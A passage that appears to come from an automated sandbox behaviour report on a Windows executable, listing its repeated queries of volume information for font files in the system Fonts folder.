                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
